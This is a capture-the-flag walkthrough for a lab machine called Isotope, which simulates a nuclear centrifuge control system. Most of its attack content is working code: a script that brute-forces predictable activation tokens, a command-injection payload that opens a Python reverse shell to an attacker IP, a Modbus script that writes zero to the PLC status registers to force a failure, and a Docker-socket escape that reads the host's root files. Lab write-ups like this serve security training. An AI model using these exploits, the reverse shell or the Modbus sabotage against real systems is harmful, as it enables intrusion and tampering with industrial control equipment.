# Isotope

Isotope is a medium difficulty Linux machine that simulates a Nuclear Centrifuge Control System. The path to the root involves enumerating NFS shares to recover source code, exploiting a weak cryptographic token generation to gain access to the web dashboard, and leveraging a Command Injection vulnerability to gain a foothold. Finally, we must "sabotage" the simulated PLCs via Modbus to trigger a failsafe state, revealing an SSH key that allows us to escape a Docker container and compromise the host.

### 1. Enumeration

We start by scanning the target to identify running services.

Bash

```
sudo nmap -p - -sV --script vuln 10.129.229.86
```

Key Findings:

* Port 80 (HTTP): Nginx web server.
* Port 111 & 2049 (NFS): Network File System. This is often a goldmine for information leakage.
* Ports 38293, 39337, etc.: Various RPC ports associated with NFS.

### 1.1 Initial Web Reconnaissance

Before diving into NFS, we explored the web service running on port 80.

1\. Accessing the Web Server. Navigating to `http://10.129.229.86` it in the browser immediately triggered a redirect to `isotope.htb`. To access the site, we added the entry to our hosts file.

Bash

```
echo "10.129.229.86 isotope.htb" | sudo tee -a /etc/hosts
```

2\. Main Site Enumeration The main site (`isotope.htb`) appeared to be a standard brochure site for a nuclear energy company. We searched for login portals or hidden directories using tools like `gobuster` or `feroxbuster`, but the results were disappointing. There was no interactive functionality (login forms), and directory brute-forcing yielded nothing of interest.

3\. Subdomain Enumeration Since the main site was a dead end, we checked for subdomains using `ffuf` to see if there were other applications hosted on the same server.

Bash

```
ffuf -u http://isotope.htb -H "Host: FUZZ.isotope.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
```

*(Note: `-fs` filters out responses based on size to avoid false positives)*

Result: We discovered a valid subdomain: `monitor.isotope.htb`.

We added this new domain to our `/etc/hosts` file as well. Upon visiting `http://monitor.isotope.htb`, we were presented with a Login Page, giving us a clear target for our subsequent NFS analysis and source code review.

### 2. NFS Analysis

Since NFS is open, we check if any shares are accessible without authentication.

Bash

```
showmount -e 10.129.229.86
```

Output:

```
Export list for 10.129.229.86:
/opt/share *
```

The `/opt/share` The directory is exported to everyone (`*`). Let's mount it locally to inspect the contents.

Bash

```
mkdir -p ~/htb/isotope_nfs
sudo mount -t nfs -o vers=3,nolock 10.129.229.86:/opt/share ~/htb/isotope_nfs
ls -la ~/htb/isotope_nfs
```

We find a `backend.tar.bz2` archive. This likely contains the source code for the web application running on port 80. We copy it to our machine and extract it for analysis.

Bash

```
cp ~/htb/isotope_nfs/backend.tar.bz2 .
tar -xvjf backend.tar.bz2
```

### 3. Source Code Review & Vulnerability Discovery

Analyzing the Rust source code reveals a critical flaw in the generation of user account activation tokens.

Vulnerable File: `backend/src/services/mod.rs`

The application generates a random token for new users to "activate" their accounts. However, the logic is predictable:

1. It takes the username.
2. It appends the current Unix timestamp (in seconds).
3. It hashes the result using SHA-256.

Since we know our own username and the approximate time we registered, we can brute-force this token locally.

### 4. Exploiting Weak Token Generation

We can write a Python script to automate the attack chain:

1. Register a new user.
2. Calculate the SHA-256 hash  `username + timestamp` for a small time window (e.g., +/- 5 seconds from the server response time).
3. Submit these hashes to the `/api/activate` endpoint until the account is active.
4. Log in to retrieve the session cookie.

Exploit Script:

Python

```
import requests
import hashlib
import time
from email.utils import parsedate_to_datetime

# CONFIGURATION
BASE_URL = "http://monitor.isotope.htb/api" 
USERNAME = "htb_pwned"
PASSWORD = "Password123!"

session = requests.Session()

def generate_token_hash(username, timestamp):
    """Replicates the Rust logic: sha256(username + timestamp)"""
    data = f"{username}{timestamp}"
    return hashlib.sha256(data.encode()).hexdigest()

def exploit():
    print(f"[*] Targeting: {BASE_URL}")

    # 1. Register User
    print(f"[*] Registering user '{USERNAME}'...")
    try:
        r = session.post(f"{BASE_URL}/register", json={"username": USERNAME, "password": PASSWORD})
    except Exception as e:
        print(f"[-] Error: {e}")
        return

    if r.status_code == 201:
        # Get server time from headers to handle clock skew
        server_time = parsedate_to_datetime(r.headers['Date']).timestamp()
        server_ts = int(server_time)
        print(f"[*] Registration successful at Server Time: {server_ts}")
    elif "unique username" in r.text:
        print("[-] User already exists. Proceeding to activation attempt.")
        server_ts = int(time.time())
    else:
        print(f"[-] Registration failed: {r.text}")
        return

    # 2. Brute Force Activation Token
    print("[*] Brute-forcing token (window: +/- 10 seconds)...")
    
    for offset in range(-10, 10):
        candidate_ts = server_ts + offset
        token = generate_token_hash(USERNAME, candidate_ts)
        
        # The API expects the token as a JSON string
        r = session.post(f"{BASE_URL}/activate", json=token)
        
        if r.status_code == 200:
            print(f"[+] SUCCESS! Account Activated with timestamp: {candidate_ts}")
            login()
            return

    print("[-] Failed to activate. Try running again immediately.")

def login():
    print("[*] Attempting Login...")
    r = session.post(f"{BASE_URL}/login", json={"username": USERNAME, "password": PASSWORD})
    
    if r.status_code == 200:
        print("[+] Login Successful!")
        cookie = session.cookies.get_dict().get('token')
        print(f"\n[+] AUTH COOKIE: token={cookie}")
        print("[*] Add this cookie to your browser dev tools to access the dashboard.")
    else:
        print(f"[-] Login failed: {r.text}")

if __name__ == "__main__":
    exploit()
```

### 5. RCE via Command Injection

#### 5.1 Verifying the Injection (The Ping Test)

Before attempting a complex reverse shell (which might fail due to bad characters or firewall rules), we first confirmed the command injection vulnerability using a simple `ping` command.

We set up a listener on our attack machine to catch ICMP packets:

Bash

```
sudo tcpdump -i tun0 icmp
```

Then, we sent the following JSON payload to the `/api/reset` endpoint:

JSON

```
{
  "id": "test$(ping -c 2 10.10.14.6)"
}
```

Result: We immediately received ICMP Echo Requests on our `tcpdump` listener. This confirmed that the server was executing our code and had outbound connectivity, greenlighting our plan to send the reverse shell payload.

#### 5.2 RCE finally

Once logged in, we explore the API endpoints. The source code reveals another vulnerability in the `/api/reset` endpoint. It takes a `id` parameter and executes a system command, likely passing this input to a shell without sanitization.

We can exploit this using a classic command injection payload to gain a reverse shell.

Payload:

Bash

```
test$(python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")')
```

Execution via Curl: Replace `<YOUR_COOKIE>` with the token from the previous step.

Bash

```
curl -X POST http://monitor.isotope.htb/api/reset \
  -H "Content-Type: application/json" \
  -H "Cookie: token=<YOUR_COOKIE>" \
  -d '{"id": "test$(python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.6\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'\'')"}'
```

*Note: Ensure you have a netcat listener running (`nc -lvnp 4444`) before sending the request.*

### 6. Sabotaging the PLCs (Modbus)

We land inside a Docker container. Exploring the file system, we find `plc.py`, it controls the simulated centrifuges via Modbus TCP.

The frontend dashboard (`http://monitor.isotope.htb`) has a "Failsafe" state. If the system detects a critical failure, it is programmed to release an SSH key for maintenance. We need to force this failure state.

By analyzing `plc.py`We identify the Modbus registers used for "Status". We can write a Python script to connect to the Modbus ports (starting at 5020) and write `0` to the status registers, effectively "sabotaging" the centrifuges.

Sabotage Script: Run this script inside the reverse shell on the target.

Python

```
cat <<EOF > sabotage.py
import socket
import struct

# Configuration derived from plc.py
TARGET_IP = '127.0.0.1'
TARGET_PORT = 5020
SLAVE_START = 3
COUNT = 5
BASE_STATUS_ADDR = 50004
OFFSET = 4

def write_register(slave_id, addr, value):
    # Modbus packet structure: TransactionID, Proto, Len, UnitID, FuncCode(6=Write), Addr, Val
    pdu = struct.pack('>BBHH', slave_id, 6, addr, value)
    header = struct.pack('>HHH', 0x1337, 0, len(pdu)) 
    packet = header + pdu

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((TARGET_IP, TARGET_PORT))
        s.send(packet)
        resp = s.recv(1024)
        s.close()
        print(f"[+] Sabotaged Slave {slave_id} (Register {addr})")
    except Exception as e:
        print(f"[-] Connection failed to Slave {slave_id}: {e}")

print("[*] Initiating Emergency Shutdown...")
for i in range(COUNT):
    # Calculate Modbus Unit ID and Register Address for each centrifuge
    slave_id = SLAVE_START + i
    register_address = BASE_STATUS_ADDR + (OFFSET * i)
    write_register(slave_id, register_address, 0) # Set status to 0 (OFF)

print("[*] Sabotage Complete. Check the Dashboard!")
EOF
```

Run it: `python3 sabotage.py`

### 6.1. Understanding the Modbus Protocol & The Sabotage Logic

Before running the exploit script, it is crucial to understand *why* it works. We gathered two key pieces of intelligence during our enumeration phase that make this attack possible.

#### Intelligence Gathering

1. The "Commonwealth of Arodor Maximus" PDF: Found in the NFS share (`/opt/share`This document describes the facility's operations. It mentions that the control system uses Modbus TCP and hints that the system enters a "Failsafe Mode" (releasing maintenance credentials) if the centrifuges report a critical failure or "OFF" status unexpectedly.
2. The `plc.py` Source Code: After gaining our initial foothold (RCE), we landed in a Docker container running the simulation software. We found `plc.py`, which acts as the Modbus Server (Slave). Analyzing this code revealed the memory map of the PLCs.

#### Analyzing `plc.py`

The Python script defines exactly how the PLCs communicate. We found the following constants in the code:

* `SLAVE_START = 3`The Modbus Unit IDs for the centrifuges start at 3.
* `BASE_STATUS_ADDR = 50004`: The specific memory register where the "Status" of the centrifuge is stored.
* `OFFSET = 4`: Each subsequent centrifuge is spaced 4 registers apart.

This means:

* Centrifuge 1: Unit ID 3, Status Register 50004
* Centrifuge 2: Unit ID 4, Status Register 50008
* Centrifuge 3: Unit ID 5, Status Register 50012
* ...and so on.

#### The Attack Strategy

The Modbus protocol enables a "Master" to read and write data to "Slaves" (the Programmable Logic Controllers, or PLCs). Since there is no authentication in standard Modbus, we can act as the Master.

Our goal is to force the system into Failsafe Mode. To do this, we need to overwrite the `Status` register of every centrifuge to `0` (which represents "OFF" or "Error").

The Sabotage Script Logic: Our script (`sabotage.py`) iterates through the Centrifuge IDs (3 to 7) and sends a Modbus Function Code 6 (Write Single Register) command to each one.

* Target: `127.0.0.1` (We are running this from *inside* the simulation container via our reverse shell.)
* Port: `5020` (The internal port defined in `plc.py`).
* Action: Overwrite register `50004 + (i * 4)` with the value `0`.

Once the central monitoring system (the web dashboard) polls these registers and sees they are all zero, it triggers the alert logic and displays the SSH key.

### 7. Retrieving the SSH Key

After running the sabotage script, the web dashboard should display a "System Failure" screen. The React frontend code (`main.js`) contains logic to display an SSH private key when this state is detected.

Instead of trying to copy it from the browser GUI (which might truncate it), we can extract it directly from the JS file.

Important: We must format the key correctly (handling newlines) to avoid "invalid format" or "libcrypto" errors.

Bash

```
# Download the JS and extract the key with python to preserve formatting
python3 -c '
import requests, re
r = requests.get("http://monitor.isotope.htb/static/js/main.396aa658.js")
key = re.search(r"-----BEGIN OPENSSH PRIVATE KEY-----.*?-----END OPENSSH PRIVATE KEY-----", r.text).group(0)
# The key in JS has literal "\n" strings that need to be converted to actual newlines
print(key.replace("\\n", "\n"))
' > key.pem
```

Set permissions and connect:

Bash

```
chmod 600 key.pem
ssh -i key.pem root@monitor.isotope.htb -p 2222
```

### 8. Root: Docker Socket Escape

We are now `root` inside a *different* container (the `diagnostics` container). To compromise the host machine, we need to break out.

We notice that the Docker Socket (`/var/run/docker.sock`) is mounted inside this container. This allows us to communicate with the host's Docker daemon and spawn a new container with the host's root directory mounted.

The Problem: The container is a minimal Alpine image. It does not have the `docker` CLI tool installed, nor `curl`.

The Solution: We must upload a static `docker` binary from our attacker machine.

1. On Attacker Machine: Download and extract the static binary.

   Bash

   ```
   wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.9.tgz
   tar xzvf docker-20.10.9.tgz
   ```
2. Upload to Target: Use the SSH key we retrieved earlier.

   Bash

   ```
   scp -P 2222 -i key.pem docker/docker root@monitor.isotope.htb:/bin/docker
   ```
3. On Target (SSH Session): Execute the Docker client using the unix socket. We use the `diagnostics` image because we know it exists locally (internet access is blocked, so we can't pull `alpine`).

   Bash

   ```
   chmod +x /bin/docker

   # Run a container, mounting Host Root (/) to /mnt
   docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it diagnostics cat /mnt/root/root.txt
   ```

Root Flag Captured!
